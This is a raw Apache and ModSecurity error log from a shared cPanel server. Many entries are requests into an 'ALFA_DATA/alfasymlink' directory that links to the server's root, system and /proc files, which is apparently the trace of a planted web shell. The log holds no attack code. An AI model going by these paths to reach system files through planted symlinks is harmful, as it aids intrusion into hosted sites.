[Mon Oct 26 06:42:19.099540 2026] [security2:error] [pid 3008090:tid 3008090] [client 170.106.165.76:53800] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at8ui-gWcEZR_nEYzPi82gAAAAI"]
[Mon Oct 26 06:42:19.100559 2026] [authz_core:error] [pid 3008090:tid 3008090] [client 170.106.165.76:53800] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:42:26.413355 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 44.205.192.249:19492] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:38.468872 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 98.83.226.125:58129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:42.625967 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 3.212.86.97:41352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:42:50.426756 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.85.7.119:26762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:43:10.807986 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.222.190.107:14824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:43:14.485278 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 3.235.215.92:56882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:43:26.663896 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 50.16.248.61:56973] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:43:30.404470 2026] [security2:error] [pid 3010072:tid 3010072] [client 107.172.76.131:53087] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8uxBatj5i5ZMjJaPkqzQAAABY"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 06:43:30.404516 2026] [security2:error] [pid 3010072:tid 3010072] [client 107.172.76.131:53087] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8uxBatj5i5ZMjJaPkqzQAAABY"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 06:43:30.669935 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 44.195.145.102:56633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:43:38.851353 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 44.221.105.234:49875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:43:46.992758 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.156.55.147:21521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:44:02.058541 2026] [security2:error] [pid 3010074:tid 3010074] [client 107.172.76.131:53089] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8u5Cz2IVlcktcA6K04CAAAABg"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 06:44:02.058606 2026] [security2:error] [pid 3010074:tid 3010074] [client 107.172.76.131:53089] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8u5Cz2IVlcktcA6K04CAAAABg"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 06:44:06.737362 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.156.248.117:9614] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:44:14.559519 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 50.16.72.185:60044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:44:30.739729 2026] [ssl:error] [pid 2995190:tid 2995190] (5)Input/output error: [client 35.171.141.42:56290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:44:34.586971 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 52.203.152.231:53278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:44:37.598910 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 85.208.96.212:17490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/red_zone
[Mon Oct 26 06:44:50.793191 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 18.232.12.157:7990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:45:22.855351 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 44.221.37.41:26184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/QEMU0002:00/physical_node/driver/bind
[Mon Oct 26 06:45:26.665438 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 44.223.193.255:3289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:45:30.952487 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.235.215.92:36795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:45:35.087584 2026] [security2:error] [pid 3015803:tid 3015803] [client 98.84.200.43:3285] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty24/subsystem/console/subsystem/tty12/"] [unique_id "at8vT6XMILbsMtUzObzJXQAAAAg"]
[Mon Oct 26 06:45:35.087665 2026] [security2:error] [pid 3015803:tid 3015803] [client 98.84.200.43:3285] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty24/subsystem/console/subsystem/tty12/"] [unique_id "at8vT6XMILbsMtUzObzJXQAAAAg"]
[Mon Oct 26 06:45:46.845054 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 34.204.150.196:20229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory9/node0/compact
[Mon Oct 26 06:46:06.845198 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 44.221.227.90:30293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:46:14.905308 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 18.232.36.1:9564] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:46:23.049260 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 34.225.87.80:52373] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:00.0/remove
[Mon Oct 26 06:46:34.940882 2026] [ssl:error] [pid 3011490:tid 3011490] (5)Input/output error: [client 3.216.227.216:16408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:46:46.978929 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 3.215.221.125:45269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:46:50.823950 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 18.213.70.100:36980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:11.075982 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 54.85.109.140:2186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:15.156566 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 44.207.69.106:41509] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:30.983587 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.45.29.57:42920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:43.045060 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 23.23.104.107:37505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:47.094929 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.243.63.52:26708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:51.232708 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 34.194.226.74:54724] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:47:59.363455 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 44.205.120.22:15550] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:07.881840 2026] [authz_core:error] [pid 3017353:tid 3017353] [client 45.198.224.125:39812] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:48:11.393125 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 50.19.221.48:15970] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:15.045072 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 34.206.212.24:38444] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:23.221407 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 34.202.88.37:9901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:27.208154 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 184.73.167.217:36811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:35.590836 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 107.20.25.33:5402] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:43.623602 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 44.221.105.234:44778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:51.323655 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 3.227.180.70:4000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:48:55.322808 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 184.73.68.20:61328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/driver/cpu0/firmware_node/subsystem/drivers_probe
[Mon Oct 26 06:49:10.372726 2026] [ssl:error] [pid 3008090:tid 3008090] (5)Input/output error: [client 18.209.201.119:47040] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:49:15.226523 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 184.73.239.35:51864] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:49:31.301482 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 3.90.73.206:28867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/unbind
[Mon Oct 26 06:49:43.325042 2026] [security2:error] [pid 3017653:tid 3017653] [client 35.171.117.160:61252] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/"] [unique_id "at8wR3FRwTfT0KsFZ4erCgAAAA0"]
[Mon Oct 26 06:49:43.325128 2026] [security2:error] [pid 3017653:tid 3017653] [client 35.171.117.160:61252] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/"] [unique_id "at8wR3FRwTfT0KsFZ4erCgAAAA0"]
[Mon Oct 26 06:49:47.301740 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 18.209.137.234:7372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:49:51.342039 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.54.249.218:47007] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:49:55.335906 2026] [ssl:error] [pid 3011490:tid 3011490] (5)Input/output error: [client 52.200.93.170:24042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:49:59.540149 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 3.232.39.98:19440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:50:03.539346 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 98.83.10.183:59048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:50:11.590666 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 18.205.91.101:30139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:50:23.397161 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 184.73.239.35:60275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:50:27.554637 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 34.206.249.188:64798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/cirrus/unbind
[Mon Oct 26 06:50:31.376360 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 3.94.157.25:15487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:50:35.636392 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 3.214.176.44:60228] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:50:47.760278 2026] [proxy_fcgi:error] [pid 3000174:tid 3000174] [client 136.107.107.110:64969] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 06:50:47.997612 2026] [proxy_fcgi:error] [pid 3017654:tid 3017654] [client 136.107.107.110:59949] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 06:50:51.691200 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 3.224.205.25:27324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:51:03.133875 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 85.208.96.210:15030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/min_partial
[Mon Oct 26 06:51:07.550797 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.152.163.42:56597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:51:15.603408 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 54.157.84.74:19370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:51:31.642839 2026] [core:crit] [pid 3017657:tid 3017657] (13)Permission denied: [client 85.208.96.212:28750] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pure-ftpd/64.20.54.226/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/pure-ftpd/64.20.54.226/' is executable
[Mon Oct 26 06:51:38.413667 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.193:38082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/reclaim_account
[Mon Oct 26 06:51:40.480871 2026] [authz_core:error] [pid 3008498:tid 3008498] [client 69.5.169.49:50368] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:51:51.712041 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 54.197.82.195:58926] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:51:54.598448 2026] [authz_core:error] [pid 2993961:tid 2993961] [client 77.67.26.63:14490] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:51:54.928989 2026] [authz_core:error] [pid 3008498:tid 3008498] [client 200.138.46.35:11024] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:52:07.945627 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 44.207.207.36:62855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/vmd/remove_id
[Mon Oct 26 06:52:31.991025 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 52.202.233.37:22609] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:52:36.102095 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 3.230.224.6:42182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:52:39.783149 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 100.25.120.246:47308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:52:51.990739 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 44.221.227.90:55023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:52:55.957935 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 34.234.197.175:12700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:53:08.755095 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 52.70.138.176:44956] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:53:44.073305 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.202.233.37:48504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:53:47.898009 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.197.102.71:47983] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:53:48.412414 2026] [core:error] [pid 3017657:tid 3017657] (13)Permission denied: [client 85.208.96.204:22454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/aliases
[Mon Oct 26 06:53:51.758394 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 52.71.203.206:11619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:53:59.949106 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 44.223.232.55:64023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:07.709806 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 184.73.195.18:30440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:11.677540 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 184.73.47.24:11128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:24.478430 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 54.225.81.20:61357] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/crash_notes_size
[Mon Oct 26 06:54:27.719812 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 52.21.62.139:42383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:31.901782 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 50.19.221.48:9139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:35.904128 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 107.20.255.194:18877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:40.423646 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 54.225.148.123:49682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:43.742328 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 23.23.213.182:4491] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/rescan
[Mon Oct 26 06:54:47.769434 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 34.192.67.98:53415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:50.797639 2026] [authz_core:error] [pid 3010067:tid 3010067] [client 185.136.15.2:37426] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:54:51.771639 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 34.231.118.144:47705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:54:53.320389 2026] [core:crit] [pid 3002822:tid 3002822] (13)Permission denied: [client 185.136.15.2:37448] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 06:54:59.679009 2026] [core:error] [pid 3017653:tid 3017653] (13)Permission denied: [client 184.73.239.35:43284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/rom
[Mon Oct 26 06:55:03.852460 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 54.157.84.74:16235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:55:15.772739 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 54.225.181.161:20878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:55:19.726523 2026] [core:error] [pid 3017837:tid 3017837] (13)Permission denied: [client 54.84.102.81:55358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:19/subsystem/drivers/ac/uevent
[Mon Oct 26 06:55:31.542558 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 54.84.102.81:60648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:55:39.345810 2026] [security2:error] [pid 3010074:tid 3010074] [client 129.226.193.111:53444] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at8xqyz2IVlcktcA6K04OAAAABg"]
[Mon Oct 26 06:55:39.551103 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 52.45.29.57:61714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:55:48.862752 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 185.191.171.16:14490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/align
[Mon Oct 26 06:56:03.630438 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 52.3.104.214:61857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:07.575548 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 100.29.128.75:23749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:11.485064 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 52.207.47.227:31682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:23.148560 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:53234] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8xyfEaLLDWHqkTH2BIdwAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 06:56:23.148613 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:53234] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8xyfEaLLDWHqkTH2BIdwAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 06:56:23.420921 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 54.157.84.74:15839] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:0e/subsystem/devices/device:03/physical_node/resource1
[Mon Oct 26 06:56:27.424602 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 3.221.244.28:49959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:31.395465 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 35.172.125.172:44665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:44.053751 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 23.23.213.182:6440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:47.214321 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 44.196.118.6:10839] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:56:51.423543 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 98.80.130.239:64596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:03.229772 2026] [core:error] [pid 3017657:tid 3017657] (13)Permission denied: [client 85.208.96.208:30418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/restorepkg
[Mon Oct 26 06:57:03.481076 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 3.214.176.44:42471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:07.239162 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 54.166.126.132:42531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:12.922039 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 52.3.26.180:31495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:19.006582 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 54.85.7.119:25820] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:23.007891 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 54.157.84.74:17475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:26.901863 2026] [ssl:error] [pid 3017353:tid 3017353] (70014)End of file found: [client 52.202.233.37:62650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:30.936954 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 3.220.70.171:48514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:35.805884 2026] [authz_core:error] [pid 3017837:tid 3017837] [client 134.33.64.215:60340] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:57:42.878665 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 34.225.138.57:28171] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:57:50.963415 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 44.207.207.36:62970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/uevent
